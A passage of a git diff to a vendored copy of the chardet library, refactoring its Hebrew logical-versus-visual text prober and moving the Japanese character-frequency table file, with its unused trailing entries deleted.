completely identical set of code points, whereas -# "windows-1255" and "x-mac-hebrew" are two different proper supersets of +# "windows-1255" and "x-mac-hebrew" are two different proper supersets of # these code points. windows-1255 defines additional characters in the range -# 0x80-0x9F as some misc punctuation marks as well as some Hebrew-specific +# 0x80-0x9F as some misc punctuation marks as well as some Hebrew-specific # diacritics and additional 'Yiddish' ligature letters in the range 0xc0-0xd6. -# x-mac-hebrew defines similar additional code points but with a different +# x-mac-hebrew defines similar additional code points but with a different # mapping. # -# As far as an average Hebrew text with no diacritics is concerned, all four -# charsets are identical with respect to code points. Meaning that for the -# main Hebrew alphabet, all four map the same values to all 27 Hebrew letters +# As far as an average Hebrew text with no diacritics is concerned, all four +# charsets are identical with respect to code points. Meaning that for the +# main Hebrew alphabet, all four map the same values to all 27 Hebrew letters # (including final letters). # # The dominant difference between these charsets is their directionality. # "Visual" directionality means that the text is ordered as if the renderer is -# not aware of a BIDI rendering algorithm. The renderer sees the text and -# draws it from left to right. The text itself when ordered naturally is read +# not aware of a BIDI rendering algorithm. The renderer sees the text and +# draws it from left to right. The text itself when ordered naturally is read # backwards. A buffer of Visual Hebrew generally looks like so: # "[last word of first line spelled backwards] [whole line ordered backwards -# and spelled backwards] [first word of first line spelled backwards] +# and spelled backwards] [first word of first line spelled backwards] # [end of line] [last word of second line] ... etc' " # adding punctuation marks, numbers and English text to visual text is # naturally also "visual" and from left to right. -# +# # "Logical" directionality means the text is ordered "naturally" according to -# the order it is read. It is the responsibility of the renderer to display -# the text from right to left. A BIDI algorithm is used to place general +# the order it is read. It is the responsibility of the renderer to display +# the text from right to left. A BIDI algorithm is used to place general # punctuation marks, numbers and English text in the text. # -# Texts in x-mac-hebrew are almost impossible to find on the Internet. From +# Texts in x-mac-hebrew are almost impossible to find on the Internet. From # what little evidence I could find, it seems that its general directionality # is Logical. # @@ -76,17 +76,17 @@ # charsets: # Visual Hebrew - "ISO-8859-8" - backwards text - Words and sentences are # backwards while line order is natural. For charset recognition purposes -# the line order is unimportant (In fact, for this implementation, even +# the line order is unimportant (In fact, for this implementation, even # word order is unimportant). # Logical Hebrew - "windows-1255" - normal, naturally ordered text. # -# "ISO-8859-8-I" is a subset of windows-1255 and doesn't need to be +# "ISO-8859-8-I" is a subset of windows-1255 and doesn't need to be # specifically identified. # "x-mac-hebrew" is also identified as windows-1255. A text in x-mac-hebrew # that contain special punctuation marks or diacritics is displayed with # some unconverted characters showing as question marks. This problem might # be corrected using another model prober for x-mac-hebrew. Due to the fact -# that x-mac-hebrew texts are so rare, writing another model prober isn't +# that x-mac-hebrew texts are so rare, writing another model prober isn't # worth the effort and performance hit. # #### The Prober #### @@ -125,145 +125,168 @@ # model probers scores. The answer is returned in the form of the name of the # charset identified, either "windows-1255" or "ISO-8859-8". -# windows-1255 / ISO-8859-8 code points of interest -FINAL_KAF = '\xea' -NORMAL_KAF = '\xeb' -FINAL_MEM = '\xed' -NORMAL_MEM = '\xee' -FINAL_NUN = '\xef' -NORMAL_NUN = '\xf0' -FINAL_PE = '\xf3' -NORMAL_PE = '\xf4' -FINAL_TSADI = '\xf5' -NORMAL_TSADI = '\xf6' +class HebrewProber(CharSetProber): + # windows-1255 / ISO-8859-8 code points of interest + FINAL_KAF = 0xea + NORMAL_KAF = 0xeb + FINAL_MEM = 0xed + NORMAL_MEM = 0xee + FINAL_NUN = 0xef + NORMAL_NUN = 0xf0 + FINAL_PE = 0xf3 + NORMAL_PE = 0xf4 + FINAL_TSADI = 0xf5 + NORMAL_TSADI = 0xf6 -# Minimum Visual vs Logical final letter score difference. -# If the difference is below this, don't rely solely on the final letter score distance. -MIN_FINAL_CHAR_DISTANCE = 5 + # Minimum Visual vs Logical final letter score difference. + # If the difference is below this, don't rely solely on the final letter score + # distance. + MIN_FINAL_CHAR_DISTANCE = 5 -# Minimum Visual vs Logical model score difference. -# If the difference is below this, don't rely at all on the model score distance. -MIN_MODEL_DISTANCE = 0.01 + # Minimum Visual vs Logical model score difference. + # If the difference is below this, don't rely at all on the model score + # distance. + MIN_MODEL_DISTANCE = 0.01 -VISUAL_HEBREW_NAME = "ISO-8859-8" -LOGICAL_HEBREW_NAME = "windows-1255" + VISUAL_HEBREW_NAME = "ISO-8859-8" + LOGICAL_HEBREW_NAME = "windows-1255" -class HebrewProber(CharSetProber): def __init__(self): - CharSetProber.__init__(self) - self._mLogicalProber = None - self._mVisualProber = None + super(HebrewProber, self).__init__() + self._final_char_logical_score = None + self._final_char_visual_score = None + self._prev = None + self._before_prev = None + self._logical_prober = None + self._visual_prober = None self.reset() def reset(self): - self._mFinalCharLogicalScore = 0 - self._mFinalCharVisualScore = 0 + self._final_char_logical_score = 0 + self._final_char_visual_score = 0 # The two last characters seen in the previous buffer, - # mPrev and mBeforePrev are initialized to space in order to simulate a word - # delimiter at the beginning of the data - self._mPrev = ' ' - self._mBeforePrev = ' ' + # mPrev and mBeforePrev are initialized to space in order to simulate + # a word delimiter at the beginning of the data + self._prev = ' ' + self._before_prev = ' ' # These probers are owned by the group prober. def set_model_probers(self, logicalProber, visualProber): - self._mLogicalProber = logicalProber - self._mVisualProber = visualProber + self._logical_prober = logicalProber + self._visual_prober = visualProber def is_final(self, c): - return c in [FINAL_KAF, FINAL_MEM, FINAL_NUN, FINAL_PE, FINAL_TSADI] + return c in [self.FINAL_KAF, self.FINAL_MEM, self.FINAL_NUN, + self.FINAL_PE, self.FINAL_TSADI] def is_non_final(self, c): - # The normal Tsadi is not a good Non-Final letter due to words like - # 'lechotet' (to chat) containing an apostrophe after the tsadi. This - # apostrophe is converted to a space in FilterWithoutEnglishLetters causing - # the Non-Final tsadi to appear at an end of a word even though this is not - # the case in the original text. - # The letters Pe and Kaf rarely display a related behavior of not being a - # good Non-Final letter. Words like 'Pop', 'Winamp' and 'Mubarak' for - # example legally end with a Non-Final Pe or Kaf. However, the benefit of - # these letters as Non-Final letters outweighs the damage since these words - # are quite rare. - return c in [NORMAL_KAF, NORMAL_MEM, NORMAL_NUN, NORMAL_PE] + # The normal Tsadi is not a good Non-Final letter due to words like + # 'lechotet' (to chat) containing an apostrophe after the tsadi. This + # apostrophe is converted to a space in FilterWithoutEnglishLetters + # causing the Non-Final tsadi to appear at an end of a word even + # though this is not the case in the original text. + # The letters Pe and Kaf rarely display a related behavior of not being + # a good Non-Final letter. Words like 'Pop', 'Winamp' and 'Mubarak' + # for example legally end with a Non-Final Pe or Kaf. However, the + # benefit of these letters as Non-Final letters outweighs the damage + # since these words are quite rare. + return c in [self.NORMAL_KAF, self.NORMAL_MEM, + self.NORMAL_NUN, self.NORMAL_PE] - def feed(self, aBuf): + def feed(self, byte_str): # Final letter analysis for logical-visual decision. - # Look for evidence that the received buffer is either logical Hebrew or - # visual Hebrew. + # Look for evidence that the received buffer is either logical Hebrew + # or visual Hebrew. # The following cases are checked: - # 1) A word longer than 1 letter, ending with a final letter. This is an - # indication that the text is laid out "naturally" since the final letter - # really appears at the end. +1 for logical score. - # 2) A word longer than 1 letter, ending with a Non-Final letter. In normal - # Hebrew, words ending with Kaf, Mem, Nun, Pe or Tsadi, should not end with - # the Non-Final form of that letter. Exceptions to this rule are mentioned - # above in isNonFinal(). This is an indication that the text is laid out - # backwards. +1 for visual score - # 3) A word longer than 1 letter, starting with a final letter. Final letters - # should not appear at the beginning of a word. This is an indication that - # the text is laid out backwards. +1 for visual score. - # - # The visual score and logical score are accumulated throughout the text and - # are finally checked against each other in GetCharSetName(). - # No checking for final letters in the middle of words is done since that case - # is not an indication for either Logical or Visual text. - # - # We automatically filter out all 7-bit characters (replace them with spaces) - # so the word boundary detection works properly. [MAP] + # 1) A word longer than 1 letter, ending with a final letter. This is + # an indication that the text is laid out "naturally" since the + # final letter really appears at the end. +1 for logical score. + # 2) A word longer than 1 letter, ending with a Non-Final letter. In + # normal Hebrew, words ending with Kaf, Mem, Nun, Pe or Tsadi, + # should not end with the Non-Final form of that letter. Exceptions + # to this rule are mentioned above in isNonFinal(). This is an + # indication that the text is laid out backwards. +1 for visual + # score + # 3) A word longer than 1 letter, starting with a final letter. Final + # letters should not appear at the beginning of a word. This is an + # indication that the text is laid out backwards. +1 for visual + # score. + # + # The visual score and logical score are accumulated throughout the + # text and are finally checked against each other in GetCharSetName(). + # No checking for final letters in the middle of words is done since + # that case is not an indication for either Logical or Visual text. + # + # We automatically filter out all 7-bit characters (replace them with + # spaces) so the word boundary detection works properly. [MAP] - if self.get_state() == constants.eNotMe: + if self.state == ProbingState.NOT_ME: # Both model probers say it's not them. No reason to continue. - return constants.eNotMe + return ProbingState.NOT_ME - aBuf = self.filter_high_bit_only(aBuf) + byte_str = self.filter_high_byte_only(byte_str) - for cur in aBuf: + for cur in byte_str: if cur == ' ': # We stand on a space - a word just ended - if self._mBeforePrev != ' ': - # next-to-last char was not a space so self._mPrev is not a 1 letter word - if self.is_final(self._mPrev): + if self._before_prev != ' ': + # next-to-last char was not a space so self._prev is not a + # 1 letter word + if self.is_final(self._prev): # case (1) [-2:not space][-1:final letter][cur:space] - self._mFinalCharLogicalScore += 1 - elif self.is_non_final(self._mPrev): - # case (2) [-2:not space][-1:Non-Final letter][cur:space] - self._mFinalCharVisualScore += 1 + self._final_char_logical_score += 1 + elif self.is_non_final(self._prev): + # case (2) [-2:not space][-1:Non-Final letter][ + # cur:space] + self._final_char_visual_score += 1 else: # Not standing on a space - if (self._mBeforePrev == ' ') and (self.is_final(self._mPrev)) and (cur != ' '): + if ((self._before_prev == ' ') and + (self.is_final(self._prev)) and (cur != ' ')): # case (3) [-2:space][-1:final letter][cur:not space] - self._mFinalCharVisualScore += 1 - self._mBeforePrev = self._mPrev - self._mPrev = cur + self._final_char_visual_score += 1 + self._before_prev = self._prev + self._prev = cur - # Forever detecting, till the end or until both model probers return eNotMe (handled above) - return constants.eDetecting + # Forever detecting, till the end or until both model probers return + # ProbingState.NOT_ME (handled above) + return ProbingState.DETECTING - def get_charset_name(self): + @property + def charset_name(self): # Make the decision: is it Logical or Visual? # If the final letter score distance is dominant enough, rely on it. - finalsub = self._mFinalCharLogicalScore - self._mFinalCharVisualScore - if finalsub >= MIN_FINAL_CHAR_DISTANCE: - return LOGICAL_HEBREW_NAME - if finalsub <= -MIN_FINAL_CHAR_DISTANCE: - return VISUAL_HEBREW_NAME + finalsub = self._final_char_logical_score - self._final_char_visual_score + if finalsub >= self.MIN_FINAL_CHAR_DISTANCE: + return self.LOGICAL_HEBREW_NAME + if finalsub <= -self.MIN_FINAL_CHAR_DISTANCE: + return self.VISUAL_HEBREW_NAME # It's not dominant enough, try to rely on the model scores instead. - modelsub = self._mLogicalProber.get_confidence() - self._mVisualProber.get_confidence() - if modelsub > MIN_MODEL_DISTANCE: - return LOGICAL_HEBREW_NAME - if modelsub < -MIN_MODEL_DISTANCE: - return VISUAL_HEBREW_NAME + modelsub = (self._logical_prober.get_confidence() + - self._visual_prober.get_confidence()) + if modelsub > self.MIN_MODEL_DISTANCE: + return self.LOGICAL_HEBREW_NAME + if modelsub < -self.MIN_MODEL_DISTANCE: + return self.VISUAL_HEBREW_NAME - # Still no good, back to final letter distance, maybe it'll save the day. + # Still no good, back to final letter distance, maybe it'll save the + # day. if finalsub < 0.0: - return VISUAL_HEBREW_NAME + return self.VISUAL_HEBREW_NAME + + # (finalsub > 0 - Logical) or (don't know what to do) default to + # Logical. + return self.LOGICAL_HEBREW_NAME - # (finalsub > 0 - Logical) or (don't know what to do) default to Logical. - return LOGICAL_HEBREW_NAME + @property + def language(self): + return 'Hebrew' - def get_state(self): + @property + def state(self): # Remain active as long as any of the model probers are active. - if (self._mLogicalProber.get_state() == constants.eNotMe) and \ - (self._mVisualProber.get_state() == constants.eNotMe): - return constants.eNotMe - return constants.eDetecting + if (self._logical_prober.state == ProbingState.NOT_ME) and \ + (self._visual_prober.state == ProbingState.NOT_ME): + return ProbingState.NOT_ME + return ProbingState.DETECTING diff --git a/extra/chardet/jisfreq.py b/thirdparty/chardet/jisfreq.py old mode 100755 new mode 100644 similarity index 54% rename from extra/chardet/jisfreq.py rename to thirdparty/chardet/jisfreq.py index 5fe4a5c3fe5..83fc082b545 --- a/extra/chardet/jisfreq.py +++ b/thirdparty/chardet/jisfreq.py @@ -13,12 +13,12 @@ # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. -# +# # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. -# +# # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA @@ -28,7 +28,7 @@ # Sampling from about 20M text materials include literature and computer technology # # Japanese frequency table, applied to both S-JIS and EUC-JP -# They are sorted in order. +# They are sorted in order. # 128 --> 0.77094 # 256 --> 0.85710 @@ -38,15 +38,15 @@ # # Ideal Distribution Ratio = 0.92635 / (1-0.92635) = 12.58 # Random Distribution Ration = 512 / (2965+62+83+86-512) = 0.191 -# -# Typical Distribution Ratio, 25% of IDR +# +# Typical Distribution Ratio, 25% of IDR JIS_TYPICAL_DISTRIBUTION_RATIO = 3.0 -# Char to FreqOrder table , +# Char to FreqOrder table , JIS_TABLE_SIZE = 4368 -JISCharToFreqOrder = ( \ +JIS_CHAR_TO_FREQ_ORDER = ( 40, 1, 6, 182, 152, 180, 295,2127, 285, 381,3295,4304,3068,4606,3165,3510, # 16 3511,1822,2785,4607,1193,2226,5070,4608, 171,2996,1247, 18, 179,5071, 856,1661, # 32 1262,5072, 619, 127,3431,3512,3230,1899,1700, 232, 228,1294,1298, 284, 283,2041, # 48 @@ -320,248 +320,6 @@ 2413,2477,1216,2725,2159, 334,3840,1328,3624,2921,1525,4132, 564,1056, 891,4363, # 4336 1444,1698,2385,2251,3729,1365,2281,2235,1717,6188, 864,3841,2515, 444, 527,2767, # 4352 2922,3625, 544, 461,6189, 566, 209,2437,3398,2098,1065,2068,3331,3626,3257,2137, # 4368 #last 512 -#Everything below is of no interest for detection purpose -2138,2122,3730,2888,1995,1820,1044,6190,6191,6192,6193,6194,6195,6196,6197,6198, # 4384 -6199,6200,6201,6202,6203,6204,6205,4670,6206,6207,6208,6209,6210,6211,6212,6213, # 4400 -6214,6215,6216,6217,6218,6219,6220,6221,6222,6223,6224,6225,6226,6227,6228,6229, # 4416 -6230,6231,6232,6233,6234,6235,6236,6237,3187,6238,6239,3969,6240,6241,6242,6243, # 4432 -6244,4671,6245,6246,4672,6247,6248,4133,6249,6250,4364,6251,2923,2556,2613,4673, # 4448 -4365,3970,6252,6253,6254,6255,4674,6256,6257,6258,2768,2353,4366,4675,4676,3188, # 4464 -4367,3463,6259,4134,4677,4678,6260,2267,6261,3842,3332,4368,3543,6262,6263,6264, # 4480 -3013,1954,1928,4135,4679,6265,6266,2478,3091,6267,4680,4369,6268,6269,1699,6270, # 4496 -3544,4136,4681,6271,4137,6272,4370,2804,6273,6274,2593,3971,3972,4682,6275,2236, # 4512 -4683,6276,6277,4684,6278,6279,4138,3973,4685,6280,6281,3258,6282,6283,6284,6285, # 4528 -3974,4686,2841,3975,6286,6287,3545,6288,6289,4139,4687,4140,6290,4141,6291,4142, # 4544 -6292,6293,3333,6294,6295,6296,4371,6297,3399,6298,6299,4372,3976,6300,6301,6302, # 4560 -4373,6303,6304,3843,3731,6305,4688,4374,6306,6307,3259,2294,6308,3732,2530,4143, # 4576 -6309,4689,6310,6311,6312,3048,6313,6314,4690,3733,2237,6315,6316,2282,3334,6317, # 4592 -6318,3844,6319,6320,4691,6321,3400,4692,6322,4693,6323,3049,6324,4375,6325,3977, # 4608 -6326,6327,6328,3546,6329,4694,3335,6330,4695,4696,6331,6332,6333,6334,4376,3978, # 4624 -6335,4697,3979,4144,6336,3980,4698,6337,6338,6339,6340,6341,4699,4700,4701,6342, # 4640 -6343,4702,6344,6345,4703,6346,6347,4704,6348,4705,4706,3135,6349,4707,6350,4708, # 4656 -6351,4377,6352,4709,3734,4145,6353,2506,4710,3189,6354,3050,4711,3981,6355,3547, # 4672 -3014,4146,4378,3735,2651,3845,3260,3136,2224,1986,6356,3401,6357,4712,2594,3627, # 4688 -3137,2573,3736,3982,4713,3628,4714,4715,2682,3629,4716,6358,3630,4379,3631,6359, # 4704 -6360,6361,3983,6362,6363,6364,6365,4147,3846,4717,6366,6367,3737,2842,6368,4718, # 4720 -2628,6369,3261,6370,2386,6371,6372,3738,3984,4719,3464,4720,3402,6373,2924,3336, # 4736 -4148,2866,6374,2805,3262,4380,2704,2069,2531,3138,2806,2984,6375,2769,6376,4721, # 4752 -4722,3403,6377,6378,3548,6379,6380,2705,3092,1979,4149,2629,3337,2889,6381,3338, # 4768 -4150,2557,3339,4381,6382,3190,3263,3739,6383,4151,4723,4152,2558,2574,3404,3191, # 4784 -6384,6385,4153,6386,4724,4382,6387,6388,4383,6389,6390,4154,6391,4725,3985,6392, # 4800 -3847,4155,6393,6394,6395,6396,6397,3465,6398,4384,6399,6400,6401,6402,6403,6404, # 4816 -4156,6405,6406,6407,6408,2123,6409,6410,2326,3192,4726,6411,6412,6413,6414,4385, # 4832 -4157,6415,6416,4158,6417,3093,3848,6418,3986,6419,6420,3849,6421,6422,6423,4159, # 4848 -6424,6425,4160,6426,3740,6427,6428,6429,6430,3987,6431,4727,6432,2238,6433,6434, # 4864 -4386,3988,6435,6436,3632,6437,6438,2843,6439,6440,6441,6442,3633,6443,2958,6444, # 4880 -6445,3466,6446,2364,4387,3850,6447,4388,2959,3340,6448,3851,6449,4728,6450,6451, # 4896 -3264,4729,6452,3193,6453,4389,4390,2706,3341,4730,6454,3139,6455,3194,6456,3051, # 4912 -2124,3852,1602,4391,4161,3853,1158,3854,4162,3989,4392,3990,4731,4732,4393,2040, # 4928 -4163,4394,3265,6457,2807,3467,3855,6458,6459,6460,3991,3468,4733,4734,6461,3140, # 4944 -2960,6462,4735,6463,6464,6465,6466,4736,4737,4738,4739,6467,6468,4164,2403,3856, # 4960 -6469,6470,2770,2844,6471,4740,6472,6473,6474,6475,6476,6477,6478,3195,6479,4741, # 4976 -4395,6480,2867,6481,4742,2808,6482,2493,4165,6483,6484,6485,6486,2295,4743,6487, # 4992 -6488,6489,3634,6490,6491,6492,6493,6494,6495,6496,2985,4744,6497,6498,4745,6499, # 5008 -6500,2925,3141,4166,6501,6502,4746,6503,6504,4747,6505,6506,6507,2890,6508,6509, # 5024 -6510,6511,6512,6513,6514,6515,6516,6517,6518,6519,3469,4167,6520,6521,6522,4748, # 5040 -4396,3741,4397,4749,4398,3342,2125,4750,6523,4751,4752,4753,3052,6524,2961,4168, # 5056 -6525,4754,6526,4755,4399,2926,4169,6527,3857,6528,4400,4170,6529,4171,6530,6531, # 5072 -2595,6532,6533,6534,6535,3635,6536,6537,6538,6539,6540,6541,6542,4756,6543,6544, # 5088 -6545,6546,6547,6548,4401,6549,6550,6551,6552,4402,3405,4757,4403,6553,6554,6555, # 5104 -4172,3742,6556,6557,6558,3992,3636,6559,6560,3053,2726,6561,3549,4173,3054,4404, # 5120 -6562,6563,3993,4405,3266,3550,2809,4406,6564,6565,6566,4758,4759,6567,3743,6568, # 5136 -4760,3744,4761,3470,6569,6570,6571,4407,6572,3745,4174,6573,4175,2810,4176,3196, # 5152 -4762,6574,4177,6575,6576,2494,2891,3551,6577,6578,3471,6579,4408,6580,3015,3197, # 5168 -6581,3343,2532,3994,3858,6582,3094,3406,4409,6583,2892,4178,4763,4410,3016,4411, # 5184 -6584,3995,3142,3017,2683,6585,4179,6586,6587,4764,4412,6588,6589,4413,6590,2986, # 5200 -6591,2962,3552,6592,2963,3472,6593,6594,4180,4765,6595,6596,2225,3267,4414,6597, # 5216 -3407,3637,4766,6598,6599,3198,6600,4415,6601,3859,3199,6602,3473,4767,2811,4416, # 5232 -1856,3268,3200,2575,3996,3997,3201,4417,6603,3095,2927,6604,3143,6605,2268,6606, # 5248 -3998,3860,3096,2771,6607,6608,3638,2495,4768,6609,3861,6610,3269,2745,4769,4181, # 5264 -3553,6611,2845,3270,6612,6613,6614,3862,6615,6616,4770,4771,6617,3474,3999,4418, # 5280 -4419,6618,3639,3344,6619,4772,4182,6620,2126,6621,6622,6623,4420,4773,6624,3018, # 5296 -6625,4774,3554,6626,4183,2025,3746,6627,4184,2707,6628,4421,4422,3097,1775,4185, # 5312 -3555,6629,6630,2868,6631,6632,4423,6633,6634,4424,2414,2533,2928,6635,4186,2387, # 5328 -6636,4775,6637,4187,6638,1891,4425,3202,3203,6639,6640,4776,6641,3345,6642,6643, # 5344 -3640,6644,3475,3346,3641,4000,6645,3144,6646,3098,2812,4188,3642,3204,6647,3863, # 5360 -3476,6648,3864,6649,4426,4001,6650,6651,6652,2576,6653,4189,4777,6654,6655,6656, # 5376 -2846,6657,3477,3205,4002,6658,4003,6659,3347,2252,6660,6661,6662,4778,6663,6664, # 5392 -6665,6666,6667,6668,6669,4779,4780,2048,6670,3478,3099,6671,3556,3747,4004,6672, # 5408 -6673,6674,3145,4005,3748,6675,6676,6677,6678,6679,3408,6680,6681,6682,6683,3206, # 5424 -3207,6684,6685,4781,4427,6686,4782,4783,4784,6687,6688,6689,4190,6690,6691,3479, # 5440 -6692,2746,6693,4428,6694,6695,6696,6697,6698,6699,4785,6700,6701,3208,2727,6702, # 5456 -3146,6703,6704,3409,2196,6705,4429,6706,6707,6708,2534,1996,6709,6710,6711,2747, # 5472 -6712,6713,6714,4786,3643,6715,4430,4431,6716,3557,6717,4432,4433,6718,6719,6720, # 5488 -6721,3749,6722,4006,4787,6723,6724,3644,4788,4434,6725,6726,4789,2772,6727,6728, # 5504 -6729,6730,6731,2708,3865,2813,4435,6732,6733,4790,4791,3480,6734,6735,6736,6737, # 5520 -4436,3348,6738,3410,4007,6739,6740,4008,6741,6742,4792,3411,4191,6743,6744,6745, # 5536 -6746,6747,3866,6748,3750,6749,6750,6751,6752,6753,6754,6755,3867,6756,4009,6757, # 5552 -4793,4794,6758,2814,2987,6759,6760,6761,4437,6762,6763,6764,6765,3645,6766,6767, # 5568 -3481,4192,6768,3751,6769,6770,2174,6771,3868,3752,6772,6773,6774,4193,4795,4438, # 5584 -3558,4796,4439,6775,4797,6776,6777,4798,6778,4799,3559,4800,6779,6780,6781,3482, # 5600 -6782,2893,6783,6784,4194,4801,4010,6785,6786,4440,6787,4011,6788,6789,6790,6791, # 5616 -6792,6793,4802,6794,6795,6796,4012,6797,6798,6799,6800,3349,4803,3483,6801,4804, # 5632 -4195,6802,4013,6803,6804,4196,6805,4014,4015,6806,2847,3271,2848,6807,3484,6808, # 5648 -6809,6810,4441,6811,4442,4197,4443,3272,4805,6812,3412,4016,1579,6813,6814,4017, # 5664 -6815,3869,6816,2964,6817,4806,6818,6819,4018,3646,6820,6821,4807,4019,4020,6822, # 5680 -6823,3560,6824,6825,4021,4444,6826,4198,6827,6828,4445,6829,6830,4199,4808,6831, # 5696 -6832,6833,3870,3019,2458,6834,3753,3413,3350,6835,4809,3871,4810,3561,4446,6836, # 5712 -6837,4447,4811,4812,6838,2459,4448,6839,4449,6840,6841,4022,3872,6842,4813,4814, # 5728 -6843,6844,4815,4200,4201,4202,6845,4023,6846,6847,4450,3562,3873,6848,6849,4816, # 5744 -4817,6850,4451,4818,2139,6851,3563,6852,6853,3351,6854,6855,3352,4024,2709,3414, # 5760 -4203,4452,6856,4204,6857,6858,3874,3875,6859,6860,4819,6861,6862,6863,6864,4453, # 5776 -3647,6865,6866,4820,6867,6868,6869,6870,4454,6871,2869,6872,6873,4821,6874,3754, # 5792 -6875,4822,4205,6876,6877,6878,3648,4206,4455,6879,4823,6880,4824,3876,6881,3055, # 5808 -4207,6882,3415,6883,6884,6885,4208,4209,6886,4210,3353,6887,3354,3564,3209,3485, # 5824 -2652,6888,2728,6889,3210,3755,6890,4025,4456,6891,4825,6892,6893,6894,6895,4211, # 5840 -6896,6897,6898,4826,6899,6900,4212,6901,4827,6902,2773,3565,6903,4828,6904,6905, # 5856 -6906,6907,3649,3650,6908,2849,3566,6909,3567,3100,6910,6911,6912,6913,6914,6915, # 5872 -4026,6916,3355,4829,3056,4457,3756,6917,3651,6918,4213,3652,2870,6919,4458,6920, # 5888 -2438,6921,6922,3757,2774,4830,6923,3356,4831,4832,6924,4833,4459,3653,2507,6925, # 5904 -4834,2535,6926,6927,3273,4027,3147,6928,3568,6929,6930,6931,4460,6932,3877,4461, # 5920 -2729,3654,6933,6934,6935,6936,2175,4835,2630,4214,4028,4462,4836,4215,6937,3148, # 5936 -4216,4463,4837,4838,4217,6938,6939,2850,4839,6940,4464,6941,6942,6943,4840,6944, # 5952 -4218,3274,4465,6945,6946,2710,6947,4841,4466,6948,6949,2894,6950,6951,4842,6952, # 5968 -4219,3057,2871,6953,6954,6955,6956,4467,6957,2711,6958,6959,6960,3275,3101,4843, # 5984 -6961,3357,3569,6962,4844,6963,6964,4468,4845,3570,6965,3102,4846,3758,6966,4847, # 6000 -3878,4848,4849,4029,6967,2929,3879,4850,4851,6968,6969,1733,6970,4220,6971,6972, # 6016 -6973,6974,6975,6976,4852,6977,6978,6979,6980,6981,6982,3759,6983,6984,6985,3486, # 6032 -3487,6986,3488,3416,6987,6988,6989,6990,6991,6992,6993,6994,6995,6996,6997,4853, # 6048 -6998,6999,4030,7000,7001,3211,7002,7003,4221,7004,7005,3571,4031,7006,3572,7007, # 6064 -2614,4854,2577,7008,7009,2965,3655,3656,4855,2775,3489,3880,4222,4856,3881,4032, # 6080 -3882,3657,2730,3490,4857,7010,3149,7011,4469,4858,2496,3491,4859,2283,7012,7013, # 6096 -7014,2365,4860,4470,7015,7016,3760,7017,7018,4223,1917,7019,7020,7021,4471,7022, # 6112 -2776,4472,7023,7024,7025,7026,4033,7027,3573,4224,4861,4034,4862,7028,7029,1929, # 6128 -3883,4035,7030,4473,3058,7031,2536,3761,3884,7032,4036,7033,2966,2895,1968,4474, # 6144 -3276,4225,3417,3492,4226,2105,7034,7035,1754,2596,3762,4227,4863,4475,3763,4864, # 6160 -3764,2615,2777,3103,3765,3658,3418,4865,2296,3766,2815,7036,7037,7038,3574,2872, # 6176 -3277,4476,7039,4037,4477,7040,7041,4038,7042,7043,7044,7045,7046,7047,2537,7048, # 6192 -7049,7050,7051,7052,7053,7054,4478,7055,7056,3767,3659,4228,3575,7057,7058,4229, # 6208 -7059,7060,7061,3660,7062,3212,7063,3885,4039,2460,7064,7065,7066,7067,7068,7069, # 6224 -7070,7071,7072,7073,7074,4866,3768,4867,7075,7076,7077,7078,4868,3358,3278,2653, # 6240 -7079,7080,4479,3886,7081,7082,4869,7083,7084,7085,7086,7087,7088,2538,7089,7090, # 6256 -7091,4040,3150,3769,4870,4041,2896,3359,4230,2930,7092,3279,7093,2967,4480,3213, # 6272 -4481,3661,7094,7095,7096,7097,7098,7099,7100,7101,7102,2461,3770,7103,7104,4231, # 6288 -3151,7105,7106,7107,4042,3662,7108,7109,4871,3663,4872,4043,3059,7110,7111,7112, # 6304 -3493,2988,7113,4873,7114,7115,7116,3771,4874,7117,7118,4232,4875,7119,3576,2336, # 6320 -4876,7120,4233,3419,4044,4877,4878,4482,4483,4879,4484,4234,7121,3772,4880,1045, # 6336 -3280,3664,4881,4882,7122,7123,7124,7125,4883,7126,2778,7127,4485,4486,7128,4884, # 6352 -3214,3887,7129,7130,3215,7131,4885,4045,7132,7133,4046,7134,7135,7136,7137,7138, # 6368 -7139,7140,7141,7142,7143,4235,7144,4886,7145,7146,7147,4887,7148,7149,7150,4487, # 6384 -4047,4488,7151,7152,4888,4048,2989,3888,7153,3665,7154,4049,7155,7156,7157,7158, # 6400 -7159,7160,2931,4889,4890,4489,7161,2631,3889,4236,2779,7162,7163,4891,7164,3060, # 6416 -7165,1672,4892,7166,4893,4237,3281,4894,7167,7168,3666,7169,3494,7170,7171,4050, # 6432 -7172,7173,3104,3360,3420,4490,4051,2684,4052,7174,4053,7175,7176,7177,2253,4054, # 6448 -7178,7179,4895,7180,3152,3890,3153,4491,3216,7181,7182,7183,2968,4238,4492,4055, # 6464 -7184,2990,7185,2479,7186,7187,4493,7188,7189,7190,7191,7192,4896,7193,4897,2969, # 6480 -4494,4898,7194,3495,7195,7196,4899,4495,7197,3105,2731,7198,4900,7199,7200,7201, # 6496 -4056,7202,3361,7203,7204,4496,4901,4902,7205,4497,7206,7207,2315,4903,7208,4904, # 6512 -7209,4905,2851,7210,7211,3577,7212,3578,4906,7213,4057,3667,4907,7214,4058,2354, # 6528 -3891,2376,3217,3773,7215,7216,7217,7218,7219,4498,7220,4908,3282,2685,7221,3496, # 6544 -4909,2632,3154,4910,7222,2337,7223,4911,7224,7225,7226,4912,4913,3283,4239,4499, # 6560 -7227,2816,7228,7229,7230,7231,7232,7233,7234,4914,4500,4501,7235,7236,7237,2686, # 6576 -7238,4915,7239,2897,4502,7240,4503,7241,2516,7242,4504,3362,3218,7243,7244,7245, # 6592 -4916,7246,7247,4505,3363,7248,7249,7250,7251,3774,4506,7252,7253,4917,7254,7255, # 6608 -3284,2991,4918,4919,3219,3892,4920,3106,3497,4921,7256,7257,7258,4922,7259,4923, # 6624 -3364,4507,4508,4059,7260,4240,3498,7261,7262,4924,7263,2992,3893,4060,3220,7264, # 6640 -7265,7266,7267,7268,7269,4509,3775,7270,2817,7271,4061,4925,4510,3776,7272,4241, # 6656 -4511,3285,7273,7274,3499,7275,7276,7277,4062,4512,4926,7278,3107,3894,7279,7280, # 6672 -4927,7281,4513,7282,7283,3668,7284,7285,4242,4514,4243,7286,2058,4515,4928,4929, # 6688 -4516,7287,3286,4244,7288,4517,7289,7290,7291,3669,7292,7293,4930,4931,4932,2355, # 6704 